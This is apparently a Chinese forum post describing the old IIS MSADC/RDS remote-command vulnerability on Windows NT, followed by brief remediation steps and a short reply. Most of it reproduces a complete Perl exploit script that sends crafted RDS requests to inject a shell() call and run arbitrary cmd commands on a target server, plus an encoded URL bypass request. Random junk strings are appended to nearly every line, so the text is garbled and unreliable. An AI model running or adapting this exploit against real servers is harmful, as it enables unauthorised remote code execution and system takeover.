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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) |qudJucV  
E{k%d39>  
涉及程序: 6!}m$Dvt~  
Microsoft NT server ETH#IM8J  
sJYKt   
描述: 0or6_ y6  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限  h?pGw1Q  
2sd=G'7!  
详细: b09#+CH?  
如果你没有时间读详细内容的话,就删除: |\r\i&|g1  
c:\Program Files\Common Files\System\Msadc\msadcs.dll L+0N@`nRF  
有关的安全问题就没有了。 l<)JAT;P  
zk^7gx3x  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 FDGKMGZ  
/+JP~ K  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Zkb,v!l  
关于利用ODBC远程漏洞的描述,请参看: 4S{l>/I  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm UXdC<(vK  
*!7SM 7  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 @l6 dJ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp C7*Yg$`{  
B=RKi\K6a  
这里不再论述。 /*R' xBr  
G3?a~n^b  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: s)7`r6w  
)dN,b( w9  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 8KdcLN@  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!  d7-F&!sQ  
aid)q&AcQ  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" B8#f^}8  
"F.J>QBd  
#!perl O 9 Au =  
# HIp {< M3  
# MSADC/RDS 'usage' (aka exploit) script Rx"VscB6z  
# fS$Yl~-m?  
# by rain.forest.puppy $;`2^L  
# U-^S<H  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me P@T $6%~  
# beta test and find errors! /7HIL?r  
fO}1(%}d  
use Socket; use Getopt::Std; zZ"')+7q&%  
getopts("e:vd:h:XR", \%args); wCEfR!i  
+VI0oo {Z  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; wYxFjXm  
>8HRnCyp/  
if (!defined $args{h} && !defined $args{R}) { +w}%gps  
print qq~ (S93 %ii  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Z YO/'YW  
-h <host> = host you want to scan (ip or domain) P*^UU\x'4I  
-d <seconds> = delay between calls, default 1 second GMp'KEQQ  
-X = dump Index Server path table, if available AxqTPx7`|  
-v = verbose MS^hsUj}  
-e = external dictionary file for step 5 F9G$$%Q-Z  
[~r $US  
Or a -R will resume a command session nv|y@! (  
6nk|*HPz  
~; exit;} JC?V].) y5  
W;x LuKIG  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; kd2'-9  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} @P*P8v8:  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} D `3yv R  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); R8Ei:f}  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ;og<eK  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } n#AH@`&i  
Vh-h{  
if (!defined $args{R}){ $ret = &has_msadc; )t 7HioQ  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} I Y-5/  
# 2t\>7]  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" V\lF:3C  
. "cmd /c "; JG+o~tQC  
$in=<STDIN>; chomp $in; Gqu0M`+7  
$command="cmd /c " . $in ; #+Gs{iXr  
t $ ~:C  
if (defined $args{R}) {&load; exit;} YO4ppL~xe  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; $fpDABf  
&try_btcustmr; '`VO@a  
;iI2K/ 3  
print "\nStep 2: Trying to make our own DSN..."; j{+I~|ZB,  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 7.'j~hJL  
+[nYu)puP  
print "\nStep 3: Trying known DSNs..."; CZno2$8@e  
&known_dsn; O*"wQ50Ou  
%[F;TZt  
print "\nStep 4: Trying known .mdbs..."; 6*oTT(0<p  
&known_mdb; IaqN@IlWb  
6E%k{ r  
if (defined $args{e}){ .:Xe*Q  
print "\nStep 5: Trying dictionary of DSN names..."; N@ tb^M  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ~9 nrS9)  
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print "Sorry Charley...maybe next time?\n"; 9 CSz<[  
exit; QLLV OJi  
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############################################################################## z>#$#:Z4  
,(b~L<zN&  
sub sendraw { # ripped and modded from whisker Z?[J_[ZtR3  
sleep($delay); # it's a DoS on the server! At least on mine... Xst}tz62F  
my ($pstr)=@_; +K4v"7C V  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ^HKaNk<  
die("Socket problems\n"); _'v )Fy  
if(connect(S,pack "SnA4x8",2,80,$target)){ V^H47O;VC  
select(S); $|=1; 9GOyVKUv  
print $pstr; my @in=<S>; _C\ d^a (  
select(STDOUT); close(S); o[*ih\d  
return @in; eh=bClk  
} else { die("Can't connect...\n"); }} nr%^:u  
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############################################################################## o{,(`o.1O  
E 4(muhY  
sub make_header { # make the HTTP request {_D'\i(Y_  
my $msadc=<<EOT C'"6@-~  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 5{=MUU=  
User-Agent: ACTIVEDATA gU$3Y#R  
Host: $ip Z.19v>-c  
Content-Length: $clen SaScP  
Connection: Keep-Alive rV{e[fGd  
N1+]3kt ~  
ADCClientVersion:01.06 N1t:i? q&  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 je0 ?iovY  
pfIvBU?  
--!ADM!ROX!YOUR!WORLD! KWkT 9[H  
Content-Type: application/x-varg 0;`PHNBq  
Content-Length: $reqlen Fsdn2{g8U  
!T1i_  
EOT $ :P~21,  
; $msadc=~s/\n/\r\n/g; cA^7}}?e  
return $msadc;} XBBRB<l)  
TMs\#  
############################################################################## [r~l O@  
4iPg_+  
sub make_req { # make the RDS request UY^f|f&  
my ($switch, $p1, $p2)=@_; qTex\qP  
my $req=""; my $t1, $t2, $query, $dsn; mQ)l`w Gh  
#@`^  .  
if ($switch==1){ # this is the btcustmr.mdb query aesFv)5DK  
$query="Select * from Customers where City=" . make_shell(); 8BdeqgU/_  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . kF7Al]IgT  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Yf9L~K  
W12K93tO  
elsif ($switch==2){ # this is general make table query >.A:6  
$query="create table AZZ (B int, C varchar(10))"; cZ,_O~  
$dsn="$p1";} z[Qv}pv  
Z/;SR""wa  
elsif ($switch==3){ # this is general exploit table query O`| ri5d  
$query="select * from AZZ where C=" . make_shell(); s!\L1E  
$dsn="$p1";} M>#S z  
L*38T\  
elsif ($switch==4){ # attempt to hork file info from index server )HHzvGsL)  
$query="select path from scope()"; S]{Z_|h*j  
$dsn="Provider=MSIDXS;";} :@L5=2Z+  
[O'p&j@  
elsif ($switch==5){ # bad query ]YKWa"  
$query="select"; y->iv%  
$dsn="$p1";} h Nwb.[  
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$t1= make_unicode($query); w,$17+]3  
$t2= make_unicode($dsn); @ vudeaup  
$req = "\x02\x00\x03\x00"; [Hf FC3U  
$req.= "\x08\x00" . pack ("S1", length($t1)); G)`MoVH1  
$req.= "\x00\x00" . $t1 ; #v<+G=r*O  
$req.= "\x08\x00" . pack ("S1", length($t2)); <WmCH+>?r  
$req.= "\x00\x00" . $t2 ; )<&QcO_  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ; U4X U  
return $req;} Hs`  '](  
HBu>BSv:  
############################################################################## YG|T;/-  
}Z=Qy;zk  
sub make_shell { # this makes the shell() statement oPV"JGa/B4  
return "'|shell(\"$command\")|'";} aV.<<OS   
2;tp>,G9d  
############################################################################## |F`'m":$m  
HB^azHr  
sub make_unicode { # quick little function to convert to unicode `XP Tf#9j  
my ($in)=@_; my $out; F'!}$oT"  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } %Z|*!A+wN5  
return $out;} V _,*  
SfR_#"Uu  
############################################################################## 5{[0Clb)  
dWSH\wm+  
sub rdo_success { # checks for RDO return success (this is kludge) .BvV[`P  
my (@in) = @_; my $base=content_start(@in); IU}`5+:m  
if($in[$base]=~/multipart\/mixed/){ :|TBsd|/x  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} $+j )  
return 0;} a{=~#u8  
6]*qx5m`<l  
############################################################################## ^S @b*  
fQh!1R  
sub make_dsn { # this makes a DSN for us ,#{aAx|]  
my @drives=("c","d","e","f"); <o O_wS@:  
print "\nMaking DSN: "; &iivSc;#  
foreach $drive (@drives) { ljRR  
print "$drive: "; sj~'.Zs%  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 1+Oo Qs  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" o^_am>h  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); jLg4_N1SD  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; G.8ZISN/  
return 0 if $2 eq "404"; # not found/doesn't exist W:G*t4i  
if($2 eq "200") { R<U <Y'Y  
foreach $line (@results) { -q27N^A0  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Ym 6[~=~EK  
} return 0;} |BR&p)7)  
~yV0SpL  
############################################################################## [LK 9^/V  
u/:@+rTV_  
sub verify_exists { #<:khs6  
my ($page)=@_; ;pJ7k23(  
my @results=sendraw("GET $page HTTP/1.0\n\n"); W=/B[@3'  
return $results[0];} n&^Rs )%v  
ek<U2C_u#  
############################################################################## z!tHn#  
t<-Iiq+tL  
sub try_btcustmr { $= gv  
my @drives=("c","d","e","f"); d>f5T l\E  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ~rD* Y&#.  
I`7[0jA~  
foreach $dir (@dirs) { }j x{Cw  
print "$dir -> "; # fun status so you can see progress ESAh(A)8  
foreach $drive (@drives) { y!j1xnzki  
print "$drive: "; # ditto B(hNBq7  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 9ZwhC s O  
$reqlenlen=length( "$reqlen" ); Ru/3>n  
$clen= 206 + $reqlenlen + $reqlen; [&$z[/4:8c  
Y|",.~  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); *KNR",.  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} /@K?W=w4  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} :hr%iu  
8@!SM  
############################################################################## ouuj d~b+  
H3JWf MlW  
sub odbc_error { RAvV[QkT  
my (@in)=@_; my $base; f-PDgs   
my $base = content_start(@in); 6xwC1V?:0t  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this TA*49Qp  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 'sC{d&c  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; LYT0 XB)A  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 'yl`0,3wV  
return $in[$base+4].$in[$base+5].$in[$base+6];}  -H{{  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; $%/Zm*H  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 1mf_1spB  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} fE >FT9c  
&A>J>b  
############################################################################## -1[ri8t;nV  
1cPi>?R:  
sub verbose { Z|u_DaSrr|  
my ($in)=@_; |e!Sm{#!  
return if !$verbose; r(RJ&\ !  
print STDOUT "\n$in\n";} bR.T94-8y  
NoI=t  
############################################################################## jd#{66:  
@E1N9S?>  
sub save { ,MdCeA%`  
my ($p1, $p2, $p3, $p4)=@_; 9.<$&mVk7`  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ]C_6I\Z#=W  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; %gN8-~$ 1  
close OUT;} mR@iGl\\  
Z# 1Qj9  
############################################################################## ZC05^  
'8Yx  
sub load { fV3J:^)F  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 27)$;1MT:  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); l-5-Tf&j  
@p=<IN>; close(IN); |(Sqd;#v  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ^#;2 Pd>  
$target= inet_aton($ip) || die("inet_aton problems");  7p{lDQ  
print "Resuming to $ip ..."; .S[5CO^  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; :iq1-Pw  
if($p[1]==1) { a XwFQ,  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 4o'0lz]  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; n {M!l\1  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); dz?:)5>I  
if (rdo_success(@results)){print "Success!\n";} zg]9~i8  
else { print "failed\n"; verbose(odbc_error(@results));}} 'EXp[*  
elsif ($p[1]==3){ ?(F~9 V  
if(run_query("$p[3]")){ \;4RD$J  
print "Success!\n";} else { print "failed\n"; }} RP6QS)|  
elsif ($p[1]==4){ q0Fy$e]u  
if(run_query($drvst . "$p[3]")){ WKP=[o^  
print "Success!\n"; } else { print "failed\n"; }} iidK}<o  
exit;} =*t)@bn  
gq/q]Fm\  
############################################################################## O -@7n0  
Hh,\>= ':  
sub create_table { 8I JFQDGA9  
my ($in)=@_; N'IzHyo.  
$reqlen=length( make_req(2,$in,"") ) - 28; T<!TmG  
$reqlenlen=length( "$reqlen" ); u)%J5TR.Y  
$clen= 206 + $reqlenlen + $reqlen; By%aTuV$  
my @results=sendraw(make_header() . make_req(2,$in,"")); V_h, UYN  
return 1 if rdo_success(@results); N"T+. r  
my $temp= odbc_error(@results); verbose($temp); .DHPKz`W0  
return 1 if $temp=~/Table 'AZZ' already exists/; " @.hz@>  
return 0;} w<>B4m\  
Xq9%{'9  
############################################################################## fy7]I?vm@  
od$Cm5  
sub known_dsn { I/t2c=f  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go s+,JwV?b  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", NU81 V0:jG  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", @N34 Q-l  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ho 4~-xmN  
. F_pP2A  
foreach $dSn (@dsns) { 0D=6-P?^W  
print "."; F@[l&`7  
next if (!is_access("DSN=$dSn")); [Qr#JJ  
if(create_table("DSN=$dSn")){ _HGbR/  
print "$dSn successful\n"; A=>%KQc?  
if(run_query("DSN=$dSn")){ dQTJC %]O  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { H&l/o  
print "Something's borked. Use verbose next time\n";}}} print "\n";} S9-FKjU  
Lk4gjs,V  
############################################################################## ~ #Vrf0w/  
;=aj)lemCr  
sub is_access { _A1r6  
my ($in)=@_; [/\}:#MLe  
$reqlen=length( make_req(5,$in,"") ) - 28; bvi Y.G3  
$reqlenlen=length( "$reqlen" ); A(ql}cr  
$clen= 206 + $reqlenlen + $reqlen; =56O-l7T*w  
my @results=sendraw(make_header() . make_req(5,$in,"")); n}0[EE!  
my $temp= odbc_error(@results); <t\!g  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); K '7M\:zy  
return 0;} 5V8WSnO  
>E6w,Ab  
############################################################################## 5V]!xi  
VM88#^  
sub run_query { ~}+F$&  
my ($in)=@_; \'x. DVp  
$reqlen=length( make_req(3,$in,"") ) - 28; ;X*I,g.+H  
$reqlenlen=length( "$reqlen" ); :.J Ad$>P  
$clen= 206 + $reqlenlen + $reqlen; Gg8F>y<[R  
my @results=sendraw(make_header() . make_req(3,$in,"")); "KSzn  
return 1 if rdo_success(@results); H+6+I53  
my $temp= odbc_error(@results); verbose($temp); 3P N<J  
return 0;} w a2?%y_G  
!UDTNF?1  
############################################################################## L3pNna  
}I`"$2   
sub known_mdb { /'O? 8X<  
my @drives=("c","d","e","f","g"); nF`_3U8e  
my @dirs=("winnt","winnt35","winnt351","win","windows"); =~15q=XY0  
my $dir, $drive, $mdb; [2ez"4e  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Ia %> c  
"w7wd5h  
# this is sparse, because I don't know of many C/_Z9LL?F  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ?)X 0l  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", wF[%+n (*  
"\\system32\\certmdb.mdb", ;2*hN (  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Xw)W6H|  
Tmjcc(  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", h6`v%7H?  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ]O]6O%.ao  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", G LU7?2`t  
"\\cfusion\\cfapps\\security\\realm_.mdb", ';'gKX!9V  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", }6b" JoC  
"\\cfusion\\database\\cfexamples.mdb", j2^Vz{  
"\\cfusion\\database\\cfsnippets.mdb", yGj'0c::  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", b v5BV  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 4z6kFQgu  
"\\cfusion\\brighttiger\\database\\cleam.mdb", |q!O~<H@  
"\\cfusion\\database\\smpolicy.mdb", QN)EPS:y  
"\\cfusion\\database\cypress.mdb", Q!.JV. (  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ^Q,-4\ec  
"\\website\\cgi-win\\dbsample.mdb", hX4 V}kj  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", E7 mB=bt>=  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ON [F  
); #these are just #l 7(W G  
foreach $drive (@drives) { !A":L0[7n  
foreach $dir (@dirs){ &Zy%Zz  
foreach $mdb (@sysmdbs) { rJtpTV@.  
print "."; s`#g<_{X  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ (_IPz)F  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Z@(m.&ZRx  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ((Uw[8#2 `  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 7fE U5@  
} else { print "Something's borked. Use verbose next time\n"; }}}}} \l-JU  
a1#",%{I  
foreach $drive (@drives) { *E.uqu>I  
foreach $mdb (@mdbs) { b@X+vW{S  
print "."; ?hBjq  
if(create_table($drv . $drive . $dir . $mdb)){ erlg\-H   
print "\n" . $drive . $dir . $mdb . " successful\n"; YUjKOPN  
if(run_query($drv . $drive . $dir . $mdb)){ yd|ao\'=  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; yi.GD~69  
} else { print "Something's borked. Use verbose next time\n"; }}}} ++\s0A(e  
} LiyR,e  
?LSwJ @#  
############################################################################## R/EpfYOX  
MMU>55+-  
sub hork_idx { i4Da'Uk  
print "\nAttempting to dump Index Server tables...\n"; \$+#7( K  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; _*w kTI+j  
$reqlen=length( make_req(4,"","") ) - 28; /`s{!t#Y  
$reqlenlen=length( "$reqlen" ); aO &!Y\=@  
$clen= 206 + $reqlenlen + $reqlen; yByxy-~  
my @results=sendraw2(make_header() . make_req(4,"","")); R+r;V]-/  
if (rdo_success(@results)){ {&TP&_|H  
my $max=@results; my $c; my %d; 9s4>hw@u  
for($c=19; $c<$max; $c++){ {iXQUj  
$results[$c]=~s/\x00//g; )6b`1o!7  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; VW\xuP  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; T3bYj|rh=  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; w5<&b1:  
$d{"$1$2"}="";} aOhi<I`*  
foreach $c (keys %d){ print "$c\n"; } \%}w7J;  
} else {print "Index server doesn't seem to be installed.\n"; }} Sc14F Fs  
W %<,GV  
############################################################################## r;~7$B)  
W#9A6ir>  
sub dsn_dict { g|Xjw Ti8$  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); HuLvMYF  
while(<IN>){ ak_n  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; *JArR1J  
next if (!is_access("DSN=$dSn")); O-(gkE  
if(create_table("DSN=$dSn")){ 7hlzuZob+y  
print "$dSn successful\n"; K?@x'q1  
if(run_query("DSN=$dSn")){ yYH>~,  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { w!r.MWE  
print "Something's borked. Use verbose next time\n";}}} !ZS5}/ZU  
print "\n"; close(IN);} wd*V,ZN7  
JD)wxoeg  
############################################################################## @Zzg^1Ilpu  
"Wg5eML 0  
sub sendraw2 { # ripped and modded from whisker -&h<t/U  
sleep($delay); # it's a DoS on the server! At least on mine... /lLG|aAe  
my ($pstr)=@_; &SMM<^P.  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 7*eIs2aY  
die("Socket problems\n"); _ |G') 9  
if(connect(S,pack "SnA4x8",2,80,$target)){ LS/ZZAN u  
print "Connected. Getting data"; 8a;;MJ)  
open(OUT,">raw.out"); my @in; .R^q$U~v3  
select(S); $|=1; print $pstr; t=IM"ZgfL  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 0ZJrK\K;  
close(OUT); select(STDOUT); close(S); return @in; yRWZ/,9x   
} else { die("Can't connect...\n"); }} [{PmU~RMYf  
Iu ve~ugO  
############################################################################## J9&#);(  
awgS5We|  
sub content_start { # this will take in the server headers _iH:>2p5R  
my (@in)=@_; my $c; lm8<0*;,  
for ($c=1;$c<500;$c++) { LIRL`xU7  
if($in[$c] =~/^\x0d\x0a/){ , }B{)  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } YeI|&FMX  
else { return $c+1; }}} .2 }5Dc,eR  
return -1;} # it should never get here actually ? @- t.N  
]Wn=Oc{F  
############################################################################## GrA}T`]  
#]2,1dJ  
sub funky { RY}:&vWDk  
my (@in)=@_; my $error=odbc_error(@in); ob K6GG?ZE  
if($error=~/ADO could not find the specified provider/){ IAd[_<9D  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; _SrkR7  
exit;} Nazr4QU  
if($error=~/A Handler is required/){ V!f' O@p[  
print "\nServer has custom handler filters (they most likely are patched)\n"; COL_c<\  
exit;} <3 I0$?xL  
if($error=~/specified Handler has denied Access/){ ~}Z'/ zCZf  
print "\nServer has custom handler filters (they most likely are patched)\n"; B/K{sI  
exit;}} @<$_X1)s  
E9Hyd #A  
############################################################################## m^;A]0h+  
D26A%[^O  
sub has_msadc { LIh71Vg/cc  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Q[ .d  
my $base=content_start(@results); :?$<:  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ]Z>zf]<  
return 0;} :@,UPc-+  
ui&^ m,  
######################## i}kMo@  
{^@qfkZz^  
G3D!ifho.#  
解决方案: qb PC5v  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll <-xu*Fc  
2、移除web 目录: /msadc
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学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 [zhcb+^5l  
D,SL_*r{  
拿出来充数 哈哈
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